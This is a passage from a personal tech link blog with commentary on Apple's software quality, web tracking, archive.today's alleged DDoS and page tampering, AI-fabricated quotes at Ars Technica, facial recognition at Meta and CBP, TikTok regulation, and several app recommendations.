On Software Quality

Jason Snell has published the results from his annual survey of a panel of Apple observers and, as I expected, there seems to be wide agreement that the company’s software quality is not up to scratch thanks primarily to Liquid Glass. This year’s average score of 2.7 for operating system quality and 3.1 for first-party app quality is a decline from the average score of 3.4 and 3.5, respectively, last year.

But look back a little further and the grades for Apple’s software quality have been hovering at a similar level for a while: 3.6 in 2023, 3.4 both years prior, and 3.5 in 2020. This is well below the average hardware reliability ranking which is a full point higher, and does not match the typical grades given to the Mac and iPhone in the same time frame. Snell converts the software score to an average letter grade of B to B–. Is Apple satisfied with shipping a consistently B product?

I confess the grade I have given has been lower than this average. My experience with Apple’s software for the past several years has been markedly less than fine. Given that my scores have deviated from those given by many others, I started to question my own fairness — which, given that I am merely A Guy giving my opinion about a multi-trillion-dollar corporation, is a little silly. Then again, software is made — mostly — by people, and the intent I have in participating in the Six Colors survey is that a person working at Apple might possibly read my feedback.

When I think about the quality of something, I put my expectations in context. If I were thinking about the quality of a restaurant meal, for example, it is not enough to merely provide sustenance. It must taste good, should look good, and ideally be more interesting than the individual ingredients suggest. The balance is different in software. The most important factor is whether the features I use perform as expected. If it does so with unique design and flair, that is a welcome bonus, but it must be built on a solid foundation.

In short, the way I think about software quality is the amount of meaningful problems.

I use three of Apple’s platforms across five devices: an iPhone 15 Pro, a 14-inch M1 Pro MacBook Pro, a 27-inch iMac 5K, and two generations of Apple TV. Each of these is running the latest capable software — all OS 26 except the iMac, which is stuck on MacOS Ventura. I use iCloud to sync a bunch of stuff. I can set aside Liquid Glass and related design decisions for now because there are more fundamental concerns. Even in this limited set of products, I stumble constantly into the kinds of bugs that impact core parts of the system.

There are problems in Finder — resizing columns, renaming or deleting files synced with a FileProvider-based app, and different views not reflecting immediate reality. There are problems with resizing windows. AirPlay randomly drops its connection. AirDrop and other “continuity” services do not always work or, in an interesting twist I experienced a couple days ago, work fine but display an error anyway. The AirPlay and AirDrop menus shuffle options just in time for you to tap the wrong one. The translation button loads in Safari on the opposite side of the address bar from where you can actually open translation options. On my iMac, the scroll bar in Safari no longer reflects the scroll position of the webpage. The Contacts app on MacOS barely works. The Apple Pay handshake between a Mac and my iPhone is unreliable. My iPhone does not always set aside software update space, but it also refuses to purge cached iCloud-stored photos. I have to confirm I trust my own iMac nearly every time I plug in my iPhone to sync. One word: Siri. Okay, let me expand on Siri with a more recent bug: when I tell it to pause music, it sometimes asks me to confirm I want to pause by tapping the screen, and the only time I ever do this is because I am cooking and my hands are full or dirty. These are just some of the bugs I experience regularly — some are papercuts, while others are a throbbing migraine.

These are the products and features I actually use. There are plenty others I do not. I assume syncing my music collection over iCloud remains untrustworthy. Shortcuts seems largely forgotten. Meanwhile, any app augmented by one of Apple’s paid services — Fitness, News, TV — has turned into an upselling experience.

I am somewhat impressed by the breadth of Apple’s current offerings as I consider all the ways they are failing me, and I cannot help but wonder if it is that breadth that is contributing to the unreliability of this software. Or perhaps it is the company’s annual treadmill. There was a time when remaining on an older major version of an operating system or some piece of software meant you traded the excitement of new features for the predictability of stability. That trade-off no longer exists; software-as-a-service means an older version is just old, not necessarily more reliable.

The most incredible thing is that this software is shipping on hardware that feels damn near bulletproof. I am frustrated by the unitary quality of these devices, unable to be upgraded post-purchase, and I quibble with some choices made over the years. The butterfly keyboard fiasco was notable because it was such an outlier. There is a clear expectation for what Apple considers acceptable to ship in aluminum and glass, and it does not apply to bits or GET requests.

Yet, if you were to ask a Mac user whether they would be happier with Windows on a high-spec MacBook Pro, or MacOS on some gaming pc, I bet they would rather give up the hardware than the software. I would. Similarly, I bet most people would prefer iOS on some run-of-the-mill Android hardware. Software is hard, and frequent over-the-air updates mean it is possible to meet a launch deadline even if some problems will be solved later.

What I expect out of the software I use is a level of quality I simply do not see. I do not think I have a very high bar. The bugs in the big paragraph above are not preferences or odd use cases. They are problems with the fundamentals of the operating system and first-party apps. I do not have unreasonable expectations for how things should work, only that they ought to work as described and marketed. But complaints of this sort have echoed for over a decade and it seems to me that many core issues remain unaddressed.

People buy hardware, and it shows. People subscribe to services. But people use software. This is not solely an Apple problem. Many of us spend our time fighting with tools that feel unfinished and flawed; it seems to have become the norm. But it is particularly glaring when the same attitude is taken by Apple, a company that ships some of the nicest hardware in the business. I would love to see the same tolerances for what is shown onscreen as Apple has for how the screen is made.

How Tech Giants Track You Across the Web ⇥ bbc.com

Thomas Germain, BBC News:

TikTok keeps track of everything you do on its app – no surprises there. What’s less obvious is how the company follows you around other parts of the internet that have nothing to do with TikTok.

This article is a good introduction to the problem of tracking pixels, but its focus on TikTok feels like off-base when it is nowhere near the biggest offender. Germain, later in the same article:

If you’re concerned about these individual websites you’re missing the point. Critics say the issue is that large tech companies like TikTok are increasingly following everything you do online. According to DuckDuckGo, a privacy company, TikTok has trackers on 5% of the world’s top websites. That number has grown steadily, though it’s nothing compared to Google with trackers on almost 72% of top websites and Meta at about 21%.

If more people realize their browsing is being tracked so exhaustively by these three companies — plus Amazon tracking visitors to something like 17% of top websites — that is a good thing. The focus on the villain du jour, though, seems misguided when you realize Bytedance is less prevalent in DuckDuckGo’s tracking tool than dozens of adtech companies you probably have not heard of.

Zack Whittaker:

That said, it still happens and using pixels for data collection across sensitive industries has caught out some big players in the past. Several healthcare, telehealth companies, and health insurance giants have in recent years fallen foul of federal privacy laws by sharing in some cases millions of users’ private information with ad giants. In 2024, I exclusively reported for TechCrunch that the website of the U.S. Postal Service was also sharing the private home addresses of logged-in users with Meta, LinkedIn, and Snap. USPS curbed the practice after I alerted the postal service to the security lapse.

This stuff should be impossible. Not illegal, or merely punishable after the fact — there should be no way for this to happen. And, no, I am not proposing a technical solution like some kind of stricter filtering.

Tumbler Ridge ⇥ thewalrus.ca

Though I want to write about many things on my own website, I sometimes struggle to find a way to do so. That can be because I do not have enough experience or expertise, or I cannot add something meaningful. And then there are the things that leave me without words. The mass shooting two weeks ago in Tumbler Ridge, British Columbia, is one such tragedy.

The murder of six children — five in their school — and two adults is difficult to comprehend. Nearly thirty more were injured, one of whom — a twelve-year old child — is recovering from serious wounds in a Vancouver hospital. We remain a nation in mourning.

Christina Frangou, the Walrus:

Grief at this magnitude is crushing anywhere, but especially in a place so little. The numbers of dead leave a different-sized hole in the social architecture of a place where everyone knows where everyone lives. The people of Tumbler Ridge will see their streets differently now — which road has a house that is home to someone who has died or was injured or at school that day. “I will know every victim,” Mayor Darryl Krakowka told the CBC in those early hours when Tumbler Ridge waited to find out the names of the casualties.

I process events through writing — but, here, all I can think to write is: everything about this is devastating.

Georgia Wells, Wall Street Journal:

Months before Jesse Van Rootselaar became the suspect in the mass shooting that devastated a rural town in British Columbia, Canada, OpenAI considered alerting law enforcement about her interactions with its ChatGPT chatbot, the company said.

While using ChatGPT last June, Van Rootselaar described scenarios involving gun violence over the course of several days, according to people familiar with the matter.

The documentation of a murderer’s online footprint is a now-familiar pattern after a tragedy like this one. It sometimes reveals behaviour that, in hindsight, would have raised alarms to someone who knew the fuller picture. But each of these things is, for good reason, siloed — what the police know, what a social worker may be aware of, and what OpenAI is notified about.

Caring communities can help bridge those cracks. Not because people come together to increase surveillance, but through actual compassion and interaction. I am not saying love is the key to preventing mass shootings; I am not diagnosing a problem here. It is a time of grief like this when we can so viscerally recognize that none of us are alone.

Wikipedia Deprecates Archive.today After Its Owner Seemingly Launched a Targeted DDoS Campaign and Altered Archived Pages ⇥ arstechnica.com

Jani Patokallio:

Around January 11, 2026, archive.today (aka archive.is, archive.md, etc) started using its users as proxies to conduct a distributed denial of service (DDOS) attack against Gyrovague, my personal blog. […]

Daniel Sims, TechSpot:

Wikipedia is currently weighing three options to address the issue: retaining the status quo, removing all links, or discouraging future citations while keeping existing links. Some also argue that pivoting away from Archive.today is prudent regardless of the current dispute due to the site’s inherently precarious existence. In 2021, Archive.today’s creator admitted that it is “doomed to die at any moment.”

Jon Brodkin, Ars Technica:

In emails sent to Patokallio after the DDoS began, “Nora” from Archive.today threatened to create a public association between Patokallio’s name and AI porn and to create a gay dating app with Patokallio’s name. These threats were discussed by Wikipedia editors in their deliberations over whether to blacklist Archive.today, and then editors noticed that Patokallio’s name had been inserted into some Archive.today captures of webpages.

“Honestly, I’m kind of in shock,” one editor wrote. “Just to make sure I’m understanding the implications of this: we have good reason to believe that the archive.today operator has tampered with the content of their archives, in a manner that suggests they were trying to further their position against the person they are in dispute with???”

This apparently all started when some media organizations reporting on the FBI’s subpoena cited a 2023 post from Patokallio, in which he tried to figure out the identity of Archive.today’s owner. As he writes more recently, very little of what he found was entirely new, and it is unlikely he uncovered the owner’s true identity.

Regardless of what you think about that, using the visitors of Archive.today as digital ammunition against Patokallio’s vastly smaller blog is bad enough. But then the operator went and violated perhaps the only inviolable rule of website archiving: they modified the contents of the websites they were ostensibly preserving. It is now unreliable.

Magic Lasso Adblock, Now for tvOS ⇥ magiclasso.co

One last link to complete the good indie apps trifecta for today — frequent site sponsor Magic Lasso Adblock now has support for tvOS:

Magic Lasso Adblock for tvOS processes everything directly on your local Apple TV. That means ads are blocked without any data ever leaving your device — offering stronger privacy than VPN or DNS-based ad blockers that rely on external servers.

We also follow a strict zero data collection policy. We don’t collect, track, or store your viewing history, app activity, or any personal data — period.

This post is not part of a sponsorship deal. I have allowed Magic Lasso to sponsor my website several times because it is an app I actually use and like; it is the only ad blocker I run. I clearly think there is room for tasteful advertising and I do not block ads everywhere. But I also think there are good reasons for users to take control of the exhaustive amount of ads and trackers they — we — must endure.

It is frustrating to see paid streaming services double-dip by also inserting a heavy ad load within every show. It is almost like they are aching to re-create the worst parts of the cable television experience. I think it is perfectly fair for users to respond by mimicking DVRs that let you skip ads.

Among my friends, I am notoriously bad at keeping up to date with shows, but I am actually caught up on “The Pitt”. I watched the latest episode last week with ad blocking turned on and it was a wonderful experience. Magic Lasso Pro is $40 per year in Canada.

Skyscraper Is a Bluesky Client for iOS, and Some Other Things ⇥ getskyscraper.com

Skyscraper is a suite of tools created by Cameron Banga for Bluesky: feed monitoring for marketing people, a terminal client for MacOS — wild — and an iOS app. I do not have the same visceral dislike of the first-party Bluesky app as I do for, say, Instagram or Twitter/X, but Skyscraper on iOS feels like a nice change of pace.

A cool thing about open standards is how I can use Skyscraper on my iPhone, Aeronaut on my Mac, and the website anywhere I do not have access to those two native clients. As far as I know, there is no way to sync read position across different clients, but that is okay with me. I do not need to read everything.

Skyscraper has a generous free tier; using it with multiple accounts, part of a more expansive feature set, costs $4 per month or $25 per year in Canada.

Current Is an RSS Reader With a Twist ⇥ terrygodier.com

Terry Godier introducing Current, his new RSS reader:

Each article has a velocity, a measure of how quickly it ages. Breaking news burns bright for three hours. A daily article stays relevant for eighteen. An essay lingers for three days. An evergreen tutorial might sit in your river for a week.

As items age, they dim. Eventually they’re gone, carried downstream. You don’t mark them as read. You don’t file them. They simply pass, the way water passes under a bridge.

I have been using Current for a couple of days now. I am a longtime NetNewsWire user, so I have needed to shake a little bias about how an RSS reader “should” work. And, ultimately, it is an RSS reader, so it is on some level a different presentation of familiar elements.

Sometimes, though, a modest rethinking is all that is needed for something to feel entirely different, and Current does. I quite like what Godier has come up with here. In the spirit of water metaphors, my main feed almost feels like an expansive pool of things to read, just floating there. No pressure. Some of the feeds I read are updated frequently; most less so. Godier’s design means the more rapid feeds do not overwhelm more careful personal essays. It all seems to work pretty well, I think.

A cool thing about open standards is that it means I can use Current on my phone and NetNewsWire on my Mac. Each feels right to me for its individual context. On my Mac, I might want to churn through a bunch of recent stories; on my phone, though, I might just want to find one great thing to read while I am taking a coffee break.

Current is a one-time $13 Canadian charge in the App Store, or $10 in the U.S., which feels like a throwback. Turns out it is still possible to sell apps without subscription pricing.

Flickr’s URL Scheme ⇥ unsung.aresluna.org

Marcin Wichary:

Half of my education in URLs as user interface came from Flickr in the late 2000s. Its URLs looked like this:

flickr.com/photos/mwichary/favorites

flickr.com/photos/mwichary/sets

flickr.com/photos/mwichary/sets/72177720330077904

flickr.com/photos/mwichary/54896695834

flickr.com/photos/mwichary/54896695834/in/set-72177720330077904

The persons responsible for this URL scheme thought well enough ahead for the complexity and scope it could encapsulate, yet kept it remarkably simple.

It is the kind of logical directory-style scheme I wish I would see in library-based desktop applications, too. I still have copies of my libraries for Aperture and iPhoto on the same Mac as I use for Photos. Each of those has a pretty understandable structure within the library package: the most substantial part is a “Masters” folder containing a year, month, day, and then project folder hierarchy; among others, there is also a “Database” folder with nondestructive edit operations, though that becomes less intelligible structure if you drill down to the project level.

For contrast, the library structure for the Photos app has no such logic. The “originals” folder contains fifteen subfolders labelled 0–9, then A–F. Each photo’s filename is a unique alphanumeric code, and there is no discernible logic or structure to which photos end up where. I found an image from 2012 following one from 2023, then another from 2022, all in the same folder. This feels undesigned, yet it is far more recent than any of the structures that preceded it.

Video in Apple Podcasts ⇥ podnews.net

Apple:

Apple today announced a transformative update coming to Apple Podcasts this spring that will bring advanced video podcast capabilities to the app. This enhanced video podcast experience uses Apple’s industry-leading HTTP Live Streaming (HLS) technology to set a new standard that empowers podcast creators with unprecedented control and monetization opportunities while delivering the highest-quality viewing experience for users.

The “advanced” part of this is that switching between the video and audio versions of an episode is basically seamless. When I tried it on both my fast home Wi-Fi and my tepid cell connection, it was as smooth as in Stephen Robles’ demo. That is pretty nice.

What is not so nice is that it is another proprietary take on the otherwise open standards world of podcasting. It requires a special agreement with Apple, which is why it is limited at launch to four ad-tech podcast hosting providers, and does not support a generic HLS URL. Maybe this is because it is a technical feat but, also, “Apple will charge participating ad networks an impression-based fee for the delivery of dynamic ads in HLS video”.

James Cridland, Podnews:

Up until now, transcripts, chapters, subscriptions – all these features have been available to anyone, in a truly open manner. Other launches have been enhancement: auto-submissions of new shows, for example. But now, there is no access to HLS video if you’re self-hosting, or if you are using a small podcast hosting company. Apple Podcasts can’t talk about being open when this feature is closed to all but four companies.

By keeping HLS video away from the RSS feed, this is a proprietary solution for Apple Podcasts. No other player will see these HLS video feeds (unlike creator-produced transcripts, for example, which are visible everywhere). This is a shame.

Tedious arguments about terminology aside, the infrastructure required for delivering video seems to have finally opened the door to big companies applying a lock-in strategy to a format based on open standards.

An Ars Technica Reporter Blamed A.I. Tools for Fabricating Quotes in a Bizarre A.I. Story ⇥ theshamblog.com

On Thursday, Scott Shambaugh published a bizarre story about a rejected pull request from what seems to be an OpenClaw A.I. agent. The agent then generated a blog post accusing Shambaugh of “gatekeeping” contributions, and personally attacking him. After backlash in the pull request, the agent deleted its own post and generated an apology.

Allegedly.

The tale here is so extraordinary that it is irresponsible to take it at face value, as it seems the Wall Street Journal has. It seems plausible to me this is an elaborate construction of a person desperate to make waves. We should leave room for the — likely, I think — revelation this could be a mix of generated text and human intervention. That ambiguity is why I did not link to the original post.

A part of the subsequent reporting, however, has become a story just as interesting. Shambaugh, in a follow-up article:

I’ve talked to several reporters, and quite a few news outlets have covered the story. Ars Technica wasn’t one of the ones that reached out to me, but I especially thought this piece from them was interesting (since taken down – here’s the archive link). They had some nice quotes from my blog post explaining what was going on. The problem is that these quotes were not written by me, never existed, and appear to be AI hallucinations themselves.

This was disheartening news to learn. I like Ars Technica’s reporting; in the twenty-plus years I have read the site, I have found its articles generally careful and non-alarmist without pulling deserved punches. I cite it frequently here because I respect my readers, and I assume it does the same.

This revelation was upsetting, and the editor’s note issued by Ken Fisher perhaps even more so:

That this happened at Ars is especially distressing. We have covered the risks of overreliance on AI tools for years, and our written policy reflects those concerns. In this case, fabricated quotations were published in a manner inconsistent with that policy. We have reviewed recent work and have not identified additional issues. At this time, this appears to be an isolated incident.

Ars Technica does not permit the publication of AI-generated material unless it is clearly labeled and presented for demonstration purposes. That rule is not optional, and it was not followed here.

Fisher provides no additional detail about how fake quotes ended up in a published article. There are multiple parts of the reporting process that must have failed here to not only invent these statements, but also to escape any sort of fact-checking. There is no description of what steps will be taken to prevent this from happening in the future.

Fortunately, Benj Edwards, one of the story’s authors, posted a statement to Bluesky acknowledging he was the one who used A.I. tools that falsified these quotes:

Here’s what happened: I was incorporating information from Shambaugh’s new blog post into an existing draft from Thursday.

During the process, I decided to try an experimental Claude Code-based Al tool to help me extract relevant verbatim source material. Not to generate the article but to help list structured references I could put in my outline.

When the tool refused to process the post due to content policy restrictions (Shambaugh’s post described harassment). I pasted the text into ChatGPT to understand why.

This is a more specific explanation than the one offered by Fisher, but also opens its own questions. Why would Edwards need a Claude tool to summarize a not-particularly-long blog post? Why would he then jump to ChatGPT? Is this the first time Edwards used this tool, or is it an example of over-reliance that went horribly awry? And, again, is there no proof-reading process at Ars Technica to confirm that the quotations from source material are accurate and in-context?

This looks bad for Edwards, of course, though it seems like he has deep remorse. As bad of a screw-up as this is, I do not think it is worth piling on him personally. What I want from Ars Technica is an explanation of how this kind of thing will be prevented in the future. The most obvious is to prohibit all tools based on large language models or generative A.I. by its reporters. However, as technologies like these begin to power things as seemingly simple as spelling and grammar checkers, that policy will be difficult to maintain in the real world. Publications need better processes for confirming that, regardless of the tools used to create an article, the reporting is accurate.

Apple Updates Its Own iOS Version Figures ⇥ macrumors.com

Apple has updated its own iOS usage figures (Internet Archive link for posterity). These figures measure “devices that transacted on the App Store on February 12, 2026” — but what “transacted” means is not entirely clear.

Even so, of transacting iPhones introduced in the last four years, 74% are running iOS 26; overall, 66% of iPhones measured are on iOS 26. This compares to year-ago figures of 76% and 68%, respectively, on iOS 18 — except it is not exactly a perfect comparison.

Joe Rossignol, MacRumors:

At first glance, the iOS 26 and iOS 18 adoption figures appear to be similar, but this is only because Apple released the iOS 26 statistics later than usual. iOS 26’s statistics are based on devices that transacted with the App Store approximately 150 days after the update was released to the public, compared to 127 days for iOS 18. In other words, iOS 26 was available for around three weeks longer by comparison.

As was suspected, this means that iOS 26 adoption has officially been slower than iOS 18 adoption, but not to the extent that some earlier, unofficial estimates had claimed. There is no way of knowing exactly why iOS 26 adoption has been slower, but some users have opted to avoid the new Liquid Glass design for now.

The most likely explanation is that Apple began pushing users to update to iOS 26 later than it did for iOS 18. What this does not indicate is a mass or even medium-scale rejection of Liquid Glass, and I question whether a large number of users are actively avoiding the iOS 26 update. I am sure some are but, given the scale at which Apple operates and defaulting to automatic updates, I cannot imagine this has as much of an effect as Apple’s decision of when to aggressively push an update.

I thought there was a 20-point gap between adoption last year and this year, and I thought that might be user-motivated. I got that wrong. I still have a mindset of someone who grew up with elective software updates, when we are now in a software-as-a-service model. What I think I got right, though, is my comparison with iOS 7, which achieved rapid uptake in just a few months. If iOS 26’s design or features were exciting to enough people, they would clamour to manually update. Instead, they seem perfectly happy for Apple to make that choice for them.

‘CEO Said a Thing’ Journalism Props Up the Myth of Elon Musk ⇥ karlbode.com

Karl Bode, referencing a dumb Fortune article published last month:

Nothing that headline says is true. It doesn’t seem to matter. “CEO said a thing!” journalism involves, again, no actual journalism. Sam Altman, Mark Cuban, and Mark Zuckerberg are frequent beneficiaries of the U.S. corporate press’ absolute dedication to propping up extraction class mythologies via clickbait.

Nobody has benefited more from this style of journalism than Elon Musk. His fake supergenius engineer persona was propped up by a lazy press for the better part of two decades before the public even started to realize Musk’s primary skillset was opportunistically using familial wealth and the Paypal money he lucked into to saddle up to actual innovators and take singular credit for their work.

There is a symbiotic relationship these CEOs have with modern and traditional media alike. Musk goes on a three-hour “deeply researched” podcast and says some bullshit about how space will “be by far the cheapest place to put A.I. It will be space in 36 months or less. Maybe 30 months”. And then the host replies “36 months?” and Musk says “less than 36 months”, and then they are off for ten minutes discussing this as though it is a real thing that will really happen. Then real publications cover it like it is serious and real and, when asked for comment, Musk’s companies do not engage.

All these articles and videos bring in the views despite lacking the substance implied by either their publisher or, in the case of these video interviews, their length and serious tone. These CEOs know they can just say stuff. There is no reason to take them at their word, nor to publish a raft of articles based on whatever they say in some friendly and loose interview. Or a tweet, for that matter.

Sponsor: Magic Lasso Adblock: YouTube Ad Blocker for Safari ⇥ magiclasso.co

Do you want to block all YouTube ads in Safari on your iPhone, iPad, and Mac?

Then download Magic Lasso Adblock – the ad blocker designed for you.

As an efficient, high performance and native Safari ad blocker, Magic Lasso blocks all intrusive ads, trackers, and annoyances – delivering a faster, cleaner, and more secure web browsing experience.

Best in class YouTube ad blocking

Magic Lasso Adblock is easy to setup, doubles the speed at which Safari loads, and also blocks all YouTube ads — including all:

  • video ads

  • pop up banner ads

  • search ads

  • plus many more

With over 5,000 five star reviews, it’s simply the best ad blocker for your iPhone, iPad, and Mac.

And unlike some other ad blockers, Magic Lasso Adblock respects your privacy, doesn’t accept payment from advertisers, and is 100% supported by its community of users.

So, join over 350,000 users and download Magic Lasso Adblock today.

Meta Plans to Add Facial Recognition to Its Smart Glasses ⇥ nytimes.com

Kashmir Hill, Kalley Huang, and Mike Isaac report, in the New York Times, that Meta has been planning on bringing facial recognition features to its smart glasses. There is a money quote in this article you may have seen on social media already, but I want to give a greater context to it (the facial recognition feature is called “Name Tag”, at least internally):

[…] The document, from May, described plans to first release Name Tag to attendees of a conference for the blind, which the company did not do last year, before making it available to the general public.

Meta’s internal memo said the political tumult in the United States was good timing for the feature’s release.

“We will launch during a dynamic political environment where many civil society groups that we would expect to attack us would have their resources focused on other concerns,” according to the document from Meta’s Reality Labs, which works on hardware including smart glasses.

The second part of this is a cynical view of public relations that would be surprising from most any company, yet seems pretty typical for Meta. This memo is apparently from May, a few months before a Customs and Border Protection agent wore Meta’s Ray-Bans to a raid, so I am not sure civil rights organizations would ignore the feature today. However, the first part of the quote I included also seems pretty cynical: releasing it as an accessibility feature first.

Facial recognition may potentially be useful to people with disabilities, assuming it works well, and I do not want to sweep that aside in the abstract. But this is Meta. It is a company with a notoriously terrible record on privacy, to the extent it is bound by a 20-year consent order (PDF) with the U.S. Federal Trade Commission, which it violated in multiple ways, one of which concerned facial recognition features. Perhaps there is a way for technology to help people recognize faces that is safe and respectful but, despite positioning itself as a privacy-focused company — coincidentally, at the same time as the FTC said it violated its consent decree — Meta will not be delivering that future.

For one, it is still considering the scope of which faces its glasses ought to recognize:

Meta is exploring who should be recognizable through the technology, two of the people said. Possible options include recognizing people a user knows because they are connected on a Meta platform, and identifying people whom the user may not know but who have a public account on a Meta site like Instagram.

The feature would not give people the ability to look up anyone they encountered as a universal facial recognition tool, two people familiar with the plans said.

Instagram has over three billion monthly users and, while that does not translate perfectly to three billion public personal accounts, it seems to me like a large proportion of people any of us randomly meet would be identifiable. Why should that suggestion even make it past the very first mention of it in some meeting long ago? Some ideas are obviously bad and should be quashed immediately.

U.S. Customs and Border Protection Signs New Clearview A.I. Deal ⇥ wired.com

Dell Cameron, Wired:

United States Customs and Border Protection plans to spend $225,000 for a year of access to Clearview AI, a face recognition tool that compares photos against billions of images scraped from the internet.

The deal extends access to Clearview tools to Border Patrol’s headquarters intelligence division (INTEL) and the National Targeting Center, units that collect and analyze data as part of what CBP calls a coordinated effort to “disrupt, degrade, and dismantle” people and networks viewed as security threats.

Lindsey Wilkinson, FedScoop:

In the last year, CBP has deployed several AI technologies, such as NexisXplore, to aid in open-source research of potential threats and to identify travelers. The Homeland Security organization last year began using Mobile Fortify as a facial comparison and fingerprint matching tool to quickly verify persons of interest. CBP Link is another AI use case that cropped up in the past year, streamlining facial recognition and real-time identity verification.

CBP began piloting Clearview AI’s technology in 2025, too, according to DHS’s AI inventory. The technology needed to be — and was — tuned to produce better results and limit misidentification. Guardrails have been identified to some degree.

A reminder that the way Clearview works is by scraping images it associates with specific individuals, including from sources like Facebook, across the web at massive scale — over sixty billion, according to Cameron. This is not facial recognition of criminals or even people suspected of wrongdoing. It is recognition of anyone who has a face that has been photographed and shared even semi-publicly.

This contract is likely part of the technologies for identifying incoming travellers, and not just in the U.S. — a 2022 article on the CBP website says other countries are using the CBP software that will likely have Clearview integration.

MacOS Tahoe 26.3 Fixes a Few Bugs With ‘Reduce Transparency’ ⇥ eclecticlight.co

Howard Oakley:

What Apple doesn’t reveal is that it has improved, if not fixed, the shortcomings in Accessibility’s Reduced Transparency setting. When that’s enabled, at least some of the visual mess resulting from Liquid Glass, for example in the Search box in System Settings, is now cleaned up, as the sidebar header is now opaque. It’s a small step, but does address one of the most glaring faults in 26.2.

In apps like Messages and Preview, the toolbar finally has a solid background when Reduce Transparency is turned on instead of the translucent gradient previously. The toolbar itself and the buttons within it remain ill-defined, however, unless you also turn on Increase Contrast, which Apple clearly does not want you to do because it makes the system look ridiculous. Also, when Reduce Transparency is turned on, Siri looks like this:

Siri on MacOS Tahoe with illegible white text against a pastel background

One would assume this is the kind of thing someone at Apple would notice if there were people working there who used Siri, tested Accessibility features, and cared about contrast.

Adam Engst, TidBits:

Two other Liquid Glass-related pecadillos fared less well. First, although Apple fixed a macOS 26.2 problem that caused the column divider handles to be overwritten by scroll bars (first screenshot below), if you hide both the path bar and status bar, an unseemly gap appears between the scroll bar and the handles (fourth screenshot below). Additionally, while toggling the path and status bars, I managed to get the filenames to overwrite the status bar (third screenshot below). Worse, all of these were taken with Reduce Transparency on, so why are filenames ever visible under the scroll bar?

The problem with a cross-platform top-to-bottom redesign that puts translucency at the forefront is that it means addressing each of the ever-increasing number of control conditions. And then you are still stuck with Liquid Glass’ reflective quality. Even with Reduce Transparency turned on, the Dock will brighten — in light mode — when dragging an application window near it, because it is reflecting the large white expanse. Technically, the opacity of the Dock has not changed, but it still carries the perception of a translucent area with the impact it has on its contrast. Apple has written itself a whole new set of bugs to fix.

Fears About TikTok U.S. Are Only as Grounded as Fears About Other Products Supported by Behavioural Ads ⇥ newrepublic.com

Logan McMillen, of the New Republic, is very worried about TikTok’s new ownership in the United States — so worried, in fact, that it deserves a conspiratorial touch:

The Americanization of TikTok has also introduced a more visible form of suppression through the algorithmic throttling of dissent. In the wake of recent ICE shootings in Minneapolis, users and high-profile creators alike reported that anti-ICE videos were instantly met with “zero views” or flagged as “ineligible for recommendation,” effectively purging them from the platform’s influential “For You” feed.

The new TikTok USDS Joint Venture LLC attributed these irregularities to a convenient data center power outage at its Oracle-hosted facilities. While the public attention this episode garnered will make it more conspicuous if user content gets throttled on TikTok again, the tools are there: By leveraging shadow bans and aggressive content moderation, TikTok can, if it wanted to, ensure that any visual evidence of ICE’s overreach is silenced before it reaches the masses.

If these claims sound familiar to you, it is probably because the same angle was used to argue for the divestiture of TikTok’s U.S. assets in the first place. The same implications and the same shadowy tones were invoked to make the case that TikTok was censoring users’ posts on explicit or implied instruction from Chinese authorities — and it was not convincing then, either.

These paragraphs appear near the bottom of the piece, where readers will find the following note:

This article originally misidentified TikTok’s privacy policy. It also misidentified the extant privacy policy as an updated one.

This article has been updated throughout for clarity.

That got me wondering. I compared the original article against the latest version, and put them into Diffchecker. The revisions are striking. Not only did the original version of the piece repeat the misleading claim that TikTok’s U.S. privacy policy changes were an effort to collect citizenship status, it suggested TikTok was directly “feed[ing] its data” to the Department of Homeland Security. On the power outage, quoted above, McMillen was more explicitly conspiratorial, originally writing “the timing suggests a more deliberate intention”.

404 Media reporter Jason Koelber, in a Bluesky thread [sic]:

it’s important to keep our guard up and it can be very useful to speculate about where things may go. that is not the same as saying without evidence that these things are already happening, or seeing different capabilities and assuming they are all being mashed together on a super spy platform

The revised version of the article is more responsible than the original. That is not a high bar. There are discrete things McMillen gets right, but the sum of these parts is considerably less informative and less useful.

For example, McMillen points out how advertising identifiers can be used for surveillance, which is true but is not specific to TikTok either before or after the U.S. assets divestiture. It is a function of this massive industry in which we all participate to some extent. If we want to have a discussion — or, better yet, action — regarding better privacy laws, we can do that without the snowballing effect of mashing together several possible actions and determining it is definitely a coordinated effort between ICE, TikTok, Palantir, Amazon’s Ring, and the Supreme Court of the United States.

Information Superhighway, Now With One Liquid Glass Button ⇥ superhighway.info

Speaking of infinite scrolling, Kyle Hughes just updated Information Superhighway, his app for endlessly reading randomized Wikipedia articles. It has a new icon and a Liquid Glass button — and that is the update, as far as I can tell.

The only kind of brain rot this will give you is more of an ageing and fermenting process that is the result of scrolling from an article about a Japanese erotic black comedy-horror film, to another about an archaeological site in Belize, and then to one about the British Pirate Party.

A free app, with no strings attached. Probably the best way to infinitely scroll your day away.

TikTok’s Design Breaches Digital Services Act, According to Preliminary European Commission Findings ⇥ ec.europa.eu

The European Commission:

The Commission’s investigation preliminarily indicates that TikTok did not adequately assess how these addictive features could harm the physical and mental wellbeing of its users, including minors and vulnerable adults.

For example, by constantly ‘rewarding’ users with new content, certain design features of TikTok fuel the urge to keep scrolling and shift the brain of users into ‘autopilot mode’. Scientific research shows that this may lead to compulsive behaviour and reduce users’ self-control.

Additionally, in its assessment, TikTok disregarded important indicators of compulsive use of the app, such as the time that minors spend on TikTok at night, the frequency with which users open the app, and other potential indicators.

It is fair for regulators to question the efficacy of measures claiming to “promote healthier sleep habits”. This wishy-washy verbiage is just as irritating as when it is employed by supplement companies and it should be more strictly regulated.

Trying to isolate infinite scrolling as a key factor in encouraging unhealthy habits is, I think, oversimplifying the issue. Contrary to the conclusions drawn by some people, I am unsure if that is what the Commission is suggesting. The Commission appears to have found this is one part of a constellation of features that are intended to increase the time users spend in the app, regardless of the impact it may have on users. In an article published last year in Perspectives on Public Health, two psychologists sought to distinguish this kind of compulsive use from other internet-driven phenomena, arguing that short-form video “has been particularly effective at triggering psychological patterns that keep users in a continuous scrolling loop”, pointing to a 2023 article in Proceedings of the ACM on Human-Computer Interaction. It is a mix of the engaging quality of video with the unknown of what comes next — like flipping through television channels, only entirely tailored to what each user has previously become enamoured with.

Casey Newton reported on the Commission’s investigation and a similar U.S. lawsuit. Here is the lede:

The old way of thinking about how to make social platforms safer was that you had to make them do more content moderation. Hire more people, take down more posts, put warning labels on others. Suspend people who posted hate speech, and incitements to violence, or who led insurrections against their own governments.

At the insistence of lawmakers around the world, social platforms did all of this and more. But in the end they had satisfied almost no one. To the left, these new measures hadn’t gone nearly far enough. To the right, they represented an intolerable infringement of their freedom of expression.

